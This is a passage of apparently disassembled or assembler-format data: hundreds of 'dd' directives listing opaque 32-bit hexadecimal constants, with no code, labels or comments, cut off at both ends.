0E37CD1BFh, 2026C047h, 0EB003006h, 4ADE6BB3h, 985CFC13h dd 96472B0h, 0D3876F58h, 0B3C630A0h, 0D79F3C8h, 0EBA54901h dd 0BC079AD1h, 182A2130h, 56998A3Bh, 0E8006373h, 0DE7933E4h dd 0CD82EDh, 6C3592E7h, 8C830DF4h, 6A54B400h, 4315203Ch dd 0B861ECAh, 0B22B4344h, 0C2B0075Eh, 18005F10h, 0F783D2F3h dd 0B8517Eh, 97E03BEDh, 0AF44B553h, 90FA4Ch, 8D6DC638h dd 542F0A70h, 0F65190DCh, 9C733C6Fh, 0FBBD1806h, 46021885h dd 0FDC5E13Fh, 1B9C8086h, 8DC0C7Eh, 0C4212B01h, 0A3759E3Dh dd 811312C0h, 404E87DFh, 5208B7Fh, 0A104381Bh, 8084F2A9h dd 95C08153h, 517849B7h, 190028F4h, 0D8D6A821h, 0E424A26h dd 674354BAh, 93D2CEA0h, 0BD38E717h, 8235AED1h, 0FC009517h dd 48B04331h, 84C33C9Ah, 0C5AEC000h, 38727434h, 71FDD400h dd 0EF2822A9h, 2BB518ADh, 5D7728FAh, 827A8913h, 6819900h dd 5F51BCEh, 1F301A68h, 3980273h, 6C5088E1h, 3C978D00h dd 34656B6Eh, 5F9200A0h, 83D6E229h, 9007CC7Dh, 44D00130h dd 69789D51h, 0A8240C0h, 628FD1C7h, 3AF50085h, 0DE26B1D5h dd 7B06C4F0h, 22DA8A63h, 1AA70038h, 76CDAD39h, 4918049Fh dd 7188359Ch, 0F978014Ch, 40BCE888h, 59D3F0DFh, 4D4D450h dd 8050013Dh, 3D833914h, 3295E8Ah, 1B30EBE8h, 0ABEBA0C5h dd 602F7AA9h, 0DF07F5B8h, 9573E34Dh, 0E0AD4BA2h, 1E10BC2h dd 92B1A6F1h, 0C476FA1Fh, 454DA37Bh, 3D4F0014h, 14A299BEh dd 0CA5601E5h, 0AF841002h, 62CC20C9h, 4869FF00h, 55D0CD51h dd 3F060440h, 0A03BAEFAh, 95002158h, 8D02BF56h, 3A84C77h dd 7E2CB20Dh, 0C29A645Eh, 9A567FC0h, 6EE40505h, 38C0E99Dh dd 0ECCB21Ah, 0EB7BCF24h, 0C866DF60h, 16FE53A0h, 54D258h dd 4D69FE70h, 12901EC4h, 0D39E78F0h, 25983C7Ch, 0AFA0AAC8h dd 0B007A58Fh, 9FC0805Ah, 40583EC2h, 1BC84DCh, 998DF7EFh dd 0ED72FA95h, 6C20C0A0h, 3A0032EEh, 0EB7750CDh, 79B428D8h dd 949900C7h, 53A55968h, 0A892B702h, 23BBD500h, 0C75DC26Dh dd 6AF00078h, 2008E136h, 0DFA4094h, 0DC09D89Ah, 20112CABh dd 0B8716EB8h, 87E3050Ch, 80495440h, 0F93B264h, 5CD97200h dd 3344D5A5h, 9AF20DA7h, 2410A64Dh, 0FE0F3A04h, 2404A1F7h dd 1C80307Eh, 0D1C3C6h, 0B3B43CE1h, 61335C13h, 8E6F553Eh dd 6CE88DDh, 3E0C167h, 4597EBC4h, 1000EF5Fh, 0A9603969h dd 2E8C86Eh, 3F64C470h, 0BC407AF0h, 8EED222h, 0F64Eh, 3601258Fh dd 77661D95h, 0B9C91433h, 1F490D04h, 0BB3C804Ah, 201A6F8h dd 0E6A17150h, 6BE4D0B1h, 0F55B00C0h, 0F989FE66h, 6914366Fh dd 4ECBD31h, 3574E747h, 0CB91480h, 0ACBA95h, 0B3ED6C6Bh dd 1EF09470h, 1A16021Dh, 0F98B3780h, 1BDC06h, 97B3AC9Eh dd 7D5B88BEh, 88DF0A73h, 0FBDC811Ch, 0E3D38201h, 7FC8E6CBh dd 12F000D4h, 81ADB1C0h, 9F003349h, 5FB708C6h, 945017h dd 8ECE2607h, 8B65D196h, 47A4F800h, 0CBEEA764h, 6385046Ch dd 870194C9h, 8A3F70F7h, 0F800A408h, 5B71FF0Eh, 0B6D3BAh dd 0A5B8452Eh, 0E6E1F184h, 0F9E77500h, 1FF0E577h, 1A6F0062h dd 23B77A3Fh, 0FF025347h, 5AD40466h, 0FBC5840h, 0EC6A9681h dd 4615EB60h, 840021ACh, 719E67B3h, 0D85F19h, 0F3411F4Fh dd 10D41DCEh, 6CCC0701h, 6E18A88Fh, 1E2B7C30h, 50AD9B5Ah dd 0B8C81594h, 24AC11E8h, 5E01584Ch, 5473394Ah, 9C40F8B7h dd 5AA54400h, 89AEBC33h, 560909Fh, 8507ABCFh, 7A85C0C6h dd 3A00D28Fh, 316C4741h, 0F6513D04h, 9838000Bh, 11FB58C8h dd 70FCEF80h, 40C2B351h, 0F87EAEDFh, 0D3865400h, 0E05B416Bh dd 909861h, 0D4479836h, 0BC6DCBF9h, 9680F48h, 874E9EE5h dd 8EE04F6Ah, 319B71h, 99D18B3Bh, 37951F2Bh, 7DA7BA00h dd 25822E2Ah, 608507CEh, 60AEE07Bh, 0A593965Dh, 0A312FC0Fh dd 0BD356275h, 0E758F0h, 0C3FEEB2Eh, 41332772h, 53025400h dd 44D9FC0Dh, 0BF3600D6h, 870B7E68h, 601ECD95h, 80FC169Dh dd 0D8D0C409h, 1B466BBh, 0FF04536Dh, 422D6122h, 1C4065A1h dd 5500E6B2h, 0F6270824h, 8AECEAh, 797B8252h, 5F6BFF96h dd 0C900A77Dh, 0F8D6E767h, 4B9201h, 0FEC6092Ah, 5333EFA9h dd 145B1500h, 59695221h, 4DD01DEEh, 13E600A8h, 4CA9CE4Eh dd 4347150Fh, 2A29DAh, 6DABD86Dh, 96A800C8h, 50EB4E4Fh dd 6A0053FEh, 0D5E5A745h, 0F6EC9FC7h, 0CF5E7728h, 61E0D928h dd 863A60BEh, 0B637EE00h, 0B87F1BF0h, 0E93100DFh, 342E1172h dd 8000A368h, 0B347DCA6h, 0F0EF18FCh, 0ACEE0028h, 8EF171BBh dd 0FA0149D4h, 8B267E77h, 2630E197h, 0C47F3Dh, 0AA375A73h dd 0F33A5B2Eh, 5FF84E17h, 2B2D7C00h, 12FD1879h, 5DA1B9h dd 6658381Bh, 98007D03h, 652E126Eh, 48527401h, 147E4BC0h dd 0F4924BDEh, 79ABB90Eh, 91C32E20h, 1E00F682h, 0FBB79F0Eh dd 0E55DEDh, 0BFC7D696h, 2953C1CFh, 6F983000h, 5D750A8Bh dd 60A60073h, 24834FB7h, 0DB075E15h, 77A4B444h, 8C4AFCD0h dd 7137638Bh, 26A0FDADh, 8E0C86CFh, 187C9D7Dh, 77BD008Dh dd 0DDC48B75h, 31C939E4h, 2F7D8657h, 8406031h, 0C0E8AC8h dd 7493B900h, 1EB87BE1h, 140F90C5h, 0D1D70A96h, 7151CD00h dd 820EC968h, 8E008B7Bh, 76757D81h, 0A84DF729h, 6F84E180h dd 4000A8B1h, 64E586C7h, 0ACC03601h, 1CE22211h, 24E1042h dd 20A12894h, 0DC5E34A9h, 770015BFh, 0CB0CED8h, 3A97BE94h dd 3800F9BAh, 9070FB85h, 0B607EC7Eh, 0A0F2614Dh, 93A6E960h dd 0BC22008Ah, 8C3A5F7Fh, 0E2005030h, 18D8C16Ah, 75AE0440h dd 5010E7Bh dd 0A7E01787h, 75D44315h, 1BE1F500h, 0F37F9277h, 600B07B9h dd 0C0BBA8D3h, 0BECB83A3h, 0FE5ABD00h, 828CC5ECh, 74990A50h dd 83B04B61h, 0BB35BAE3h, 0F300E178h, 8FAF7D25h, 1A33909h dd 1A41E8BDh, 0F47875F5h, 93006E69h, 3C9A38ABh, 1DAA144h dd 8835F8C5h, 7046AC87h, 61F85008h, 4E4A90A9h, 556D8204h dd 321C4061h, 42580046h, 0B15D7B67h, 7D70EFC3h, 0A60F4DB8h dd 21E43F6Dh, 0EA412A40h, 0E12811D3h, 974508B2h, 0E63308EEh dd 5154AD8Ch, 0E4B344C5h, 8457F844h, 2953E831h, 4711B469h dd 830B12C7h, 30F05828h, 0C7510D79h, 4700B151h, 0B9DC2FA6h dd 17A1895h, 0C49B7399h, 6033A73Fh, 0CD01049Eh, 0A2C1DEE6h dd 6A436B8h, 8DC300D0h, 0A4DB08CBh, 1CE35026h, 0FC3B08h dd 8BEAD3C4h, 0AB183193h, 92187B4Ch, 86AF1E20h, 0DCC83ADEh dd 59978000h, 0C4444856h, 6FF71A00h, 63B5724h, 3627A21h dd 500AC797h, 99B864C1h, 0A400A7D1h, 54A94AFFh, 0C9F4E6h dd 4409B62Dh, 0C1B05BDAh, 26EF3B13h, 0BA559430h, 0D6CB0397h dd 47B4711Dh, 0B8191000h, 0F63C0E7Ch, 5B393C6Ah, 0C4E4600Eh dd 3A929300h, 0D1F4E97h, 817A0F36h, 81B28C6Fh, 0D31ECCBh dd 0FB4CF8h, 6754A89Eh, 62747559h, 693E0101h, 0D716CA32h dd 4412F8h, 182DBEB9h, 4381FD2Ah, 0ABFE4271h, 653BB20Ch dd 312045h, 0F2AAB4F9h, 8F66E070h, 95038800h, 58A1E7C3h dd 312700BAh, 0DA4543EFh, 901CAAD3h, 0D24183F8h, 9C5A89F7h dd 4D43A70h, 2926BB08h, 0A75480DDh, 6009EE8h, 725AADEFh dd 4899D7F9h, 0BD00A7F8h, 56B9F1EBh, 0DA014C16h, 36134C9h dd 6FFCB0FCh, 8F0A00EFh, 93E2C504h, 0E800441Ch, 0A91106DEh dd 2CB99C96h, 6070BAD1h, 8AAE36EEh, 2F463000h, 0BE1323CAh dd 541B0145h, 77E028E5h, 4221CC99h, 0E1CC9600h, 0CAF43336h dd 0D1020F6Ah, 0A600673Eh, 0E424C8DBh, 5B1AE02h, 0C86E9D66h dd 223FEF4h, 1783F033h, 4168A812h, 3800DF3Eh, 0A3C14BA6h dd 0CFE35E66h, 43E08E10h, 306C33Dh, 99E034F8h, 813C48DCh dd 332A3683h, 5DCB7D0h, 0B7C0018h, 9F7A1E23h, 0A300DFC7h dd 9A4CB43h, 0CF296Bh, 7FF9B120h, 5E31E00Dh, 0A2A6240Ah dd 5B00E08Dh, 0E6C18ADEh, 0FB8300C5h, 50F3B0B3h, 2D051E88h dd 66CC38BFh, 3D9A1CC0h, 8F2A0042h, 0A43C3E52h, 0F8C0793Bh dd 49DD04C7h, 57400F8Ah, 3860E3CEh, 8D61C72h, 42973B00h dd 0D3B21E81h, 0FEDE0039h, 0A6D94928h, 0AE1FD28Ch, 8D40F626h dd 7A2367B2h, 86F100F4h, 0D5D9650Ch, 0D2CB7ABh, 0B38074FDh dd 5D3A6C94h, 234600AAh, 4C85C343h, 973E2FA7h, 0B2B600EFh dd 0B5C77819h, 0EE5100D0h, 23AFAC67h, 7D0056BCh, 5FCEC118h dd 12FCFD91h, 9AACAh, 0E4CC80Ch, 0D012DFBBh, 601C8DC0h dd 3C316287h, 1FDD3C0h, 543B0047h, 0AFCF21DDh, 130AB173h dd 0DCE288C4h, 23601000h, 3ABA053Ch, 6800BFC3h, 416E4AF1h dd 37062C96h, 6D63448Eh, 0D4C90010h, 0D0178035h, 7B09BABBh dd 0A023323Eh, 0F8F78D4h, 9CF8387Dh, 11C89980h, 32DDB2C3h dd 9752D63Fh, 0B8005957h, 148D6F88h, 0CD5A00AAh, 0B124FB4Dh dd 950070C0h, 0F9988467h, 35EDDD8h, 295C2A32h, 35E90EA2h dd 47888079h, 2B4AC9B0h, 0A3FF0045h, 5ACA974Fh, 0D300EF10h dd 0FCC46FB8h, 0A7175h, 0FF21B642h, 0FEDAE64Eh, 2B6D100Fh dd 2A7300A0h, 73EB48Ch, 0C8139BB9h, 0F5EEF0F1h, 42000481h dd 0A5B0990h, 7D5D3CFh, 7B9F5734h, 4719E1E0h, 0F080FA05h dd 77ED1C5Ah, 29789400h, 6A7E13Eh, 1F0E0046h, 3DFF470Ah dd 590518CCh, 4B69D494h, 0F089C5C0h, 0FD90A3h, 77D85476h dd 62561AC5h, 0D478CA00h, 459C66BBh, 6FE3DACh, 0F80D881h dd 6037D33Bh, 3A006F75h, 0ABB414D5h, 269A9DBEh, 16784489h dd 91300397h, 1CC354E4h, 0CA5B37E8h, 499EBC91h, 40C57FC0h dd 1F4C9E0h, 0CAE6B4DDh, 0D4934EFAh, 5E600227h, 0D3246111h dd 0C78E18C8h, 29E66013h, 8BA91600h, 2BC2DC66h, 0CC2748F3h dd 44E9C100h, 0B4CEE69Ch, 0C696A700h, 43BB4133h, 1B6C009Bh dd 0D6B64C9Dh, 0FA3A2D3Eh, 0B1E50381h, 0B86DA7DFh, 4311553h dd 3245F265h, 7021C713h, 2AD0CBCAh, 19231D0Bh, 0BF0880DBh dd 94DCF8h, 7784463Eh, 3AA8FF6Eh, 0EE44B25h, 98B8C0C8h dd 6FFE1Ch, 0A1599938h, 0CACEDA2Ah, 720FA4B2h, 0E0B3937Ah dd 169F0C94h, 34A604FEh, 80867BEDh, 0A367BD64h, 0CA588C0Eh dd 0A95187C8h, 6B22BC0h, 73A50030h, 66A6CC1Ah, 3900AE5Fh dd 0E04246B6h, 13132EA1h, 0D59132h, 0FA52D27Eh, 552E4377h dd 0B58268DAh, 40A8E22Ch, 0E4465C9Ch, 3BB8A0CBh, 7183794Ch dd 20EC00E5h, 1EB062F6h, 530C4863h, 28CC2584h, 0A3B61CC3h dd 0A9440090h, 8559DA43h, 7D791803h, 0C8EB1178h, 62BB17h dd 7CAB681Fh, 0AA987F6Ah, 29F08200h, 5D1080B9h, 66A0078Ch dd 517B43CFh, 0D4981E48h, 72000BDBh, 0FD606A9Ch, 0B087E9D7h dd 378200F3h, 666E8B7Eh, 0E9985E41h, 0CFF12E00h, 0AE8EE06Ch dd 905DF47Ch, 319E008Ch, 0CDE1D3D1h, 7300CBDCh, 0F1C02A81h dd 3BAB6E2Fh, 8780E73Eh, 0ECA87EDEh, 927490D0h, 77F2BD12h dd 4C41C000h, 4C95309h, 3FCF9D3Ah, 108C80CDh, 74901E1h dd 69409D68h, 125A4015h, 0FD84F0Dh, 0A3A02E38h, 0D5C120C9h dd 21268600h, 7ACD6803h, 0FC760043h, 0E1E5A8E3h, 624DE684h dd 7D670ED8h, 0D4F40Ah, 0F9CDAD9h, 98E7F4h, 22183580h dd 6AA03EAFh, 0BBBC332Ch, 59507500h, 90B51E6Ch, 0DF66007Ch dd 6B6AE4BAh, 0F0004ADDh, 0A6820F88h, 0EF2E01h, 73FBFA74h dd 6D65771Ch, 0D2818F0Bh, 5770008Eh, 0B1B893h, 1CAA0B4Bh dd 0F46B96E4h, 8BB7FB00h, 90C44E98h, 0B52B0B8Eh, 5080DFE1h dd 2252F2ECh, 7A4D14C1h, 80418124h, 0D2FC1592h, 68BF0033h dd 93F11908h, 0C6073857h, 868EA598h, 0DA487BB0h, 6844012Dh dd 20AD971Fh, 4FD6E0F2h, 1921A212h, 783774C0h, 0B897706Fh dd 82A107BCh, 0F12768A7h, 0F45C7673h, 6033589h, 84920AE1h dd 3F8CE06Bh, 80600372h, 96341A9Bh, 130CA9B8h, 36F09907h dd 8CA1A85Bh, 0C0F0EB4Ah, 924B0A35h, 8BB427A3h, 0E80FAE2h dd 0A4D0B0DAh, 35290C00h, 0ACAD8C97h, 6E991F7Ch, 70198011h dd 93BC3818h, 506AB63Ah, 0F07221C2h, 43C73B00h, 59EF5130h dd 7F220061h, 0DA9F17E8h, 8B004EBBh, 811C71F1h, 7AD04110h dd 371D00E2h, 0EE0835AEh, 5A071602h, 94DA19D6h, 93899140h dd 0BD130066h, 0D2EDB40Eh, 61120D63h, 0F0418FE0h, 3C34041Fh dd 3ADE8720h, 6A802B73h, 158A725Ah, 98024E3Dh, 29E477DAh dd 9A74C01Ah, 2BFD24BFh, 160C07C6h, 0B351074h, 8A00779Ch dd 44706C63h, 3F851BDAh, 6A007C13h, 49F2258Fh, 3CC0FC67h dd 3FAC0A76h, 0CF5901F9h, 20170EECh, 9BD06094h, 0B4332200h dd 12324BCAh, 0E8194C4Fh, 0CD9C843Dh, 0F71A4E95h, 85EB6680h dd 8F0003E3h, 46E135ACh, 3FA6DA45h, 1000A8FAh, 0E2130B48h dd 392ED1F0h, 1F0038E9h, 66CEA0Dh, 178A00A8h, 292C8F79h dd 0E21E7610h, 0DF421DEEh, 0E07BF650h, 77D9BFC0h, 0BD04005Ah dd 0A1A8B944h, 9E9017B8h, 0C11F1901h, 0E571C6F8h, 0FF52A840h dd 4CB22D45h, 0EF1A0800h, 0D104EA6Dh, 3A8E8BA3h, 9E1C480h dd 49790398h, 74912465h, 561ED8E0h, 0ED00B0B2h, 0B917DBAAh dd 0F68DA5h, 0DFAEACD7h dd 8ECAE249h, 2338C400h, 1BC751BFh, 902550A9h, 9EAA0299h dd 0EFD14A2Bh, 44FB9D00h, 9060FEB8h, 107104h, 3F6BF164h dd 3CC93ED9h, 6E04A00Eh, 2F0CE57Ch, 2A2990D0h, 38BD288Ah dd 612C00A8h, 0CAF819D3h, 60027FFFh, 665E39C2h, 80D8E0A4h dd 1042600Dh, 8199D7F3h, 0CD002F75h, 0A956737Ch, 3DC5D0h dd 863FC691h, 68CE0B11h, 9395883Dh, 0B482E064h, 63B851CAh dd 0CBF9D910h, 0FB9220CCh, 0B04B4E00h, 9D128570h, 0EC8A282Dh dd 0AB281DB4h, 0C2E3C7FFh, 0F38180EDh, 92002B25h, 273EB8EBh dd 8FC9FCh, 0D3D23AFBh, 0E3AFB27Eh, 35871918h, 444F58h dd 0FF70A8ADh, 0A542810Fh, 61458A02h, 80721BBAh, 9E079BC3h dd 1CE8779Ah, 0D7148D6Eh, 43F20FE9h, 6860834Eh, 4AED875Ah dd 0F75CA602h, 40AE57E0h, 655324h, 0AC84231Ch, 0A28F75AFh dd 0D980F094h, 92C4E496h, 20B6DBh, 0E826EA7Ch, 0B1000A2Dh dd 0E18EDE38h, 0BEEC2Eh, 8C577ADFh, 837CBCC0h, 1AB3C309h dd 0FC2500F3h, 84C1AFh, 856A9B4Eh, 23E8193Eh, 8B01ACB0h dd 0E0663AA4h, 0B4C87606h, 1C24B05Ch, 5651B21Eh, 4AE8004Eh dd 41DBFBF5h, 0EEB57207h, 40F1C32Ah, 29C06016h, 0BCF0063h dd 6FD46E12h, 2A0083F8h, 498BCCC2h, 0EC4FBA48h, 0E275C4h dd 80619066h, 3EC674FEh, 60008BAh, 29B1C395h, 70FF08h dd 85FE6101h, 4E8830DCh, 0DB846200h, 351ABA38h, 4B740146h dd 0EE3EB401h, 0E63DC455h, 26BEEA01h, 85332983h, 0AC243CE1h dd 5AFD3BC6h, 877BAE80h, 1355948Bh, 88966B09h, 1E140091h dd 3E32F1ECh, 5D00FFC5h, 9641DC0Eh, 0CD0C2EC3h, 1086FE8Ah dd 7620FDF0h, 6DBF00CFh, 0C3EFD5D0h, 130BA756h, 22E7B40Bh dd 607A5800h, 3F708870h, 78870F8Ch, 73F2497Fh, 3807C5A8h dd 5A896156h, 0C0EEEE85h, 7D40AE8Ah, 0D5DB9D00h, 0C72B07FAh dd 45170E7h, 54DA52B1h, 0F18C2D3h, 9960AC48h, 563CE1Ch dd 0CB90123Fh, 7239CC00h, 0E29CFA9Fh, 2C88006Ch, 0B262EFF8h dd 491216C2h, 1C000F3Ah, 11E89918h, 137EFE07h, 5095430h dd 0D02EF65Ch, 2CDB087Ch, 2DCABE00h, 1911977Bh, 0B0CC92A0h dd 8C230029h, 0C3CE4CE3h, 0DA3D259Ah, 853B00A9h, 0CA48FE8Dh dd 39D307C7h, 0E0E0CE08h, 319BED2Fh, 0C5BC3700h, 0FC24E482h dd 9A6705ABh, 806E9253h, 63F52B10h, 0FC310A4Bh, 0B7F804FBh dd 6ACD002Dh, 4B9D747Fh, 91C214h, 0F5E0E900h, 3E0C2E93h dd 1CCD2112h, 71397700h, 0D3C303D2h, 0A5008498h, 4889C7E3h dd 587351D7h, 280440F1h, 800CA3D8h, 0A19DBD18h, 0FFFC7700h dd 0A6FD75E8h, 0B10D0061h, 9E9F0181h, 530099DEh, 7CC9CDBh dd 2E8BC2h, 8DA6FE0Bh, 6169E1D1h, 82C07D3Dh, 4BE6D71h dd 8A74C018h, 8D2C0034h, 0CD861495h, 733F221Ah, 0C206F73Ah dd 0F09E0F32h, 3F7C0E2Eh, 4140F767h, 0BF217D8h, 11F89003h dd 0D0C927E8h, 0A40250h, 0B8AB7818h, 0CD8E9883h, 1F4A6C03h dd 0E9F32805h, 0E864E629h, 950301DEh, 0F6701286h, 2EA4700Eh dd 32A98F00h, 4B69CD15h, 30AB0EDh, 45874CDFh, 0A5D8E37Fh dd 5203C3A2h, 3181169Dh, 77F788B1h, 8F760B67h, 18C8F828h dd 5BFE29CBh, 167AF4F9h, 18D6AC30h, 0B81264C9h, 11C661E4h dd 3B4B1154h, 28321F00h, 7F78DC4h, 0CEC5514Dh, 0EADEE199h dd 0E9A6E075h, 473D210Fh, 0E8D28508h, 0F66D6080h, 0D04D03C6h dd 1C7653A8h, 0C10FB3C8h, 4BE5BE1Eh, 8037438Bh, 0B080B9BDh dd 9928008Ch, 6930E8F2h, 6C186DD0h, 0B688D372h, 88E8BC8Dh dd 604F4913h, 0C7297655h, 7D58C086h, 367AE575h, 0DDA3E200h dd 9CB6FCFh, 2A77FC44h, 24B37Bh, 58E0A9E1h, 87B443DBh dd 0E3190CA0h, 0ACC83900h, 0E4AA2911h, 0BF40003Ah, 0F9BAD456h dd 67F0EF1Ch, 42F8997Dh, 76632500h, 0A0742C9Dh, 0C87058h dd 0A37B7126h, 8FE45135h, 10802900h, 0B028D2F0h, 785D1222h dd 14BA006Eh, 13CF1B4Eh, 3C8D5E00h, 4CACCC83h, 75060724h dd 0C57492C5h, 2658038h, 94829EEh, 0B2200099h, 0B90EDA53h dd 2CDF0163h, 35CC54A1h, 0C81FF77Ch, 80FE1E92h, 0DDF1052Ah dd 12A7B6C0h, 2028657Eh, 0D383338h, 0C93C6B77h, 0AC15281Ah dd 91623000h, 99FFBE27h, 723100F7h, 47AF53E1h, 7302E240h dd 3292692Ch, 368340D9h, 3C13FAF4h, 0A85E20E5h, 10403356h dd 0DA30F812h, 87A11DB2h, 7C55009Dh, 5AD0F232h, 0B900C476h dd 94D3FBDDh, 0A1DCE2BFh, 0C180A485h, 0D61FAD2Fh, 0A624B008h dd 7300107Ch, 27C00920h, 0DD580119h, 3452DCB5h, 0CED18A4Bh dd 0F841F04Dh, 346CB76Ah, 759ADB00h, 9D04AE0Bh, 0A92C9105h dd 845EE460h, 7EA2B8C0h, 26DD5354h, 1ED9447h, 8EE9B284h dd 0C9C07A06h, 3BBF424Eh, 9080205Bh, 12EA3113h, 0F20FCE53h dd 20838E78h, 0EC14BA74h, 69A70075h, 3C72811Dh, 10CA7617h dd 34E00422h, 0F6CCE66h, 7053A18Ch, 6678A8Eh, 1922C0EAh dd 0BEE8727Eh, 0FF8D3501h, 90A1A769h, 6F813083h, 2911451Ah dd 91219C23h, 88B8C608h, 0AA883F3Eh, 0A90B877h, 0BDC0116Ah dd 3F513230h, 93007664h, 11FB6E4Ah, 0F6DFEED1h, 0EAA6005Dh dd 28FDE7B9h, 0B8000CD5h, 6535901Eh, 0F4BA246Dh, 589B860h dd 9AA8D33Ah, 289480E3h, 1C386E44h, 87FC8463h, 0CC80184Bh dd 7A50131h, 9CBDE76Bh, 58A8F0D6h, 3700E311h, 321BFE7Eh dd 68E861h, 659619D7h, 0DD586CAh, 77F4C303h, 0E8A853F1h dd 5BB755h, 0B45C848Eh, 0A58518Bh, 12476800h, 3E15214Bh dd 26B00145h, 0ADC753E3h, 7AC050CEh, 0C00F460h, 3DBA9336h dd 380158D0h, 65005D14h, 53219CF0h, 96008AB1h, 78024BB7h dd 369260Eh, 0F0DE831Bh, 0EC889933h, 490FBA1Dh, 0E085E0ADh dd 0F34665E7h, 0D2430152h, 4177CC09h, 0C18180F5h, 90CE3D12h dd 44DD026Bh, 1A2166CBh, 86A40C40h, 0B00071F8h, 0A5072D8h dd 350BFEh, 95986AA6h, 70E0567Dh, 806F0202h, 0E0D8946Ch dd 0F8406Eh, 0BA877C21h, 5AFE0198h, 0A826500h, 0B2069B1Ch dd 39FB017Bh, 5CD638BBh, 0F01231D2h, 0F430EEBCh, 89B91814h dd 527C008Bh, 0B534C877h, 400F37Dh, 0CADA647Fh, 51CC6h dd 4C351BEFh, 1D891E7Bh, 0BD951500h, 0C17A04B3h, 3C590052h dd 5C2E8CA9h, 93003E22h, 0FDD83203h, 5C9F616Fh, 0B01C62C7h dd 0FA9B40DBh, 6083EA21h, 0A76D8000h, 29A3F3AAh, 7784E404h dd 3163034Dh, 6049D2EFh, 7194F181h, 34B6601Fh, 0D53D2800h dd 2F698CB7h, 112C00E7h, 3ED2478Bh, 260030D3h, 0C6AC0D0Bh dd 651DE6h, 18957417h, 2243C767h, 7D52591Eh, 99BC840h dd 0F2E51225h, 79270EA8h, 0BC004A69h, 0B4C84670h, 72FC861Ch dd 0FB9894h, 0FB3FFE3Ah, 6B8341h, 0D4348B57h, 46A61571h dd 9D8C40E5h, 61007B45h, 0C4919BAEh, 24C1C6BCh, 201F10h dd 7C271436h, 10C025F6h, 0BCCDE7AEh, 38A901BFh, 0D2C133D8h dd 0E1203562h, 0C22A2h, 8F75067h, 2CB9360Dh, 129C9F42h dd 0FA2A00A9h, 6CF1C859h, 0D61D8600h, 0B19B1BC6h, 34D00045h dd 0C83A2312h, 0BA0505C9h, 0A54F6A71h, 329C8000h, 397EF0Ch dd 8E215EB0h, 20D8F53Ah, 7B00796Ch, 0AB4CCE85h, 0CD50A6h dd 0A1D3C8A4h, 755E2D5Ch, 82BBCA00h, 0C39AEB6Dh, 0B06350FBh dd 328001D1h, 1BFA25CEh, 41AE3185h, 0E812F4BCh, 0A10056E4h dd 1EFF61B2h, 109CCFh, 0E54A1AD7h, 3D25982Dh, 0D4EE61Ch dd 0D15C59C0h, 502069h dd 838AD557h, 85340ADAh, 94194C00h, 0B3631BC8h, 0E3D700ABh dd 784BD481h, 0F60FEB80h, 0C00C5E2Ah, 9196B81Eh, 1FC8F493h dd 80E2A5FFh, 0FD595C77h, 0E400E88Ah, 62AE7B6Ch, 0CB413h dd 0A72D3383h, 38B6BAA8h, 0FF563900h, 0C10748F3h, 0BE9B00CDh dd 7C3A3F14h, 0DB01EBDCh, 1E641309h, 0B4D86F93h, 0A36E3E32h dd 8055E99Eh, 7F76F7A2h, 0DA79EF43h, 80B46238h, 27AE67BCh dd 0ED0D2BC3h, 0BD6ACCh, 5752F7F5h, 9339C4Ah, 8FB2453Dh dd 3F883EEFh, 0E4381CC0h, 297FFCCh, 4B584E17h, 75E0A942h dd 7100ECB5h, 4A6D2367h, 0FB5E8Ch, 0FD5785B1h, 0E59BB847h dd 0B7FF9E00h, 770A33BDh, 0E4520767h, 50CBAE2Eh, 7465681Ch dd 0B00EEF6h, 64ED3533h, 98CF1A19h, 0E576007Dh, 42B26210h dd 0EF3CC77Eh, 9FCE806Dh, 0B82FDE40h, 82D5A02Ah, 296300ACh dd 0D01A2758h, 0FA0310BEh, 3B7224C6h, 86EDB85Bh, 2B9000CBh dd 58BA347Ch, 0A80091C1h, 0B30A67ACh, 278380h, 0E79ABF6h dd 355B58BCh, 0C98ABF00h, 1C372FFFh, 4B782Ch, 0C1AC6467h dd 3075C395h, 4AECD701h, 32D1D8DFh, 0B951D8h, 0AB21DCAAh dd 124022C0h, 88775D00h, 0D914C3Fh, 0B57B773Dh, 0FC01E8F8h dd 0F2CD4E30h, 69F0A6DEh, 40850043h, 60BE7CCAh, 0E200F72Dh dd 0A515D8C9h, 33BDE92h, 0EB13070Ah, 0B9D3B7C2h, 0C800A28Bh dd 0D2089DE5h, 0FB4658h, 7EDC5177h, 0F3BE2EA7h, 3EF9DF0Fh dd 0D31BC055h, 335E9Fh, 7C27140h, 0DB32FDB0h, 636A3700h dd 0DD68A33Dh, 0A27E00C6h, 21EE862h, 80006E06h, 3067DA9Ch dd 398DF829h, 5581BD1Ah, 0BE05E0EBh, 0E688809Fh, 0F20A2B39h dd 0A2460060h, 0A81BDC27h, 30005768h, 8A2F4CF5h, 1D97C0B6h dd 8FF3E9FDh, 74009033h, 0BADB5CE0h, 73792900h, 2B365612h dd 7FEE0Eh, 0F748C932h, 0D76BBD83h, 6E00A2FEh, 0C55C340Fh dd 0F60A31C0h, 597E252Fh, 781709C0h, 0D8281000h, 6E3D18A5h dd 9FF10712h, 0DEBBDEDFh, 7FFA1F80h, 750615FCh, 0F6962801h dd 0D7532610h, 3A93003Fh, 0DA1FFF2Dh, 43AC2600h, 0E0BEF3CFh dd 6BC30067h, 4742F85Dh, 593ACB98h, 43081337h, 60962D0Fh dd 3BE0D4F1h, 0A2E900F5h, 941DFC24h, 143D597Bh, 906B80C1h dd 1FFEDAE5h, 159100F9h, 82C4B76Fh, 0D9A08B83h, 0F018FF74h dd 0BA586AB2h, 13A30068h, 6157CFD2h, 0CA00124Ah, 4FFE8011h dd 1E6732A9h, 0C013DAE1h, 0A5502123h, 3B76B0A2h, 355A4A00h dd 0DEAFCD9Eh, 9BB2006Ch, 4B604CD8h, 4400EC37h, 6617C41Bh dd 7C76BC38h, 0A9680057h, 403B9FD6h, 0D700B490h, 0ECD02CF1h dd 7E813Dh, 0D56D1ACAh, 0B1AABE30h, 0BB376A1Eh, 0AD008868h dd 45295FE4h, 46613h, 0AFA2D3FBh, 0FFF06D33h, 78893407h dd 9CA3220Ch, 8547C8C1h, 430F3AD8h, 0BAA36180h, 8CE5CA9h dd 6C63BB00h, 1FB19204h, 6F40147Ah, 1400C7F6h, 0D41029F3h dd 921CC76Eh, 82C037EFh, 2D59695Eh, 261500CAh, 7A655702h dd 48E09FEBh, 0F1DBCC14h, 34A828DCh, 0C106D8FCh, 15FD8FA4h dd 27221091h, 6087000Dh, 0D004DD95h, 5D2B00D4h, 0CDCBCAA2h dd 69EC7557h, 0BEB964C0h, 5F5B83h, 0DE586C92h, 0CD6719D5h dd 7269DF00h, 0CBA261D4h, 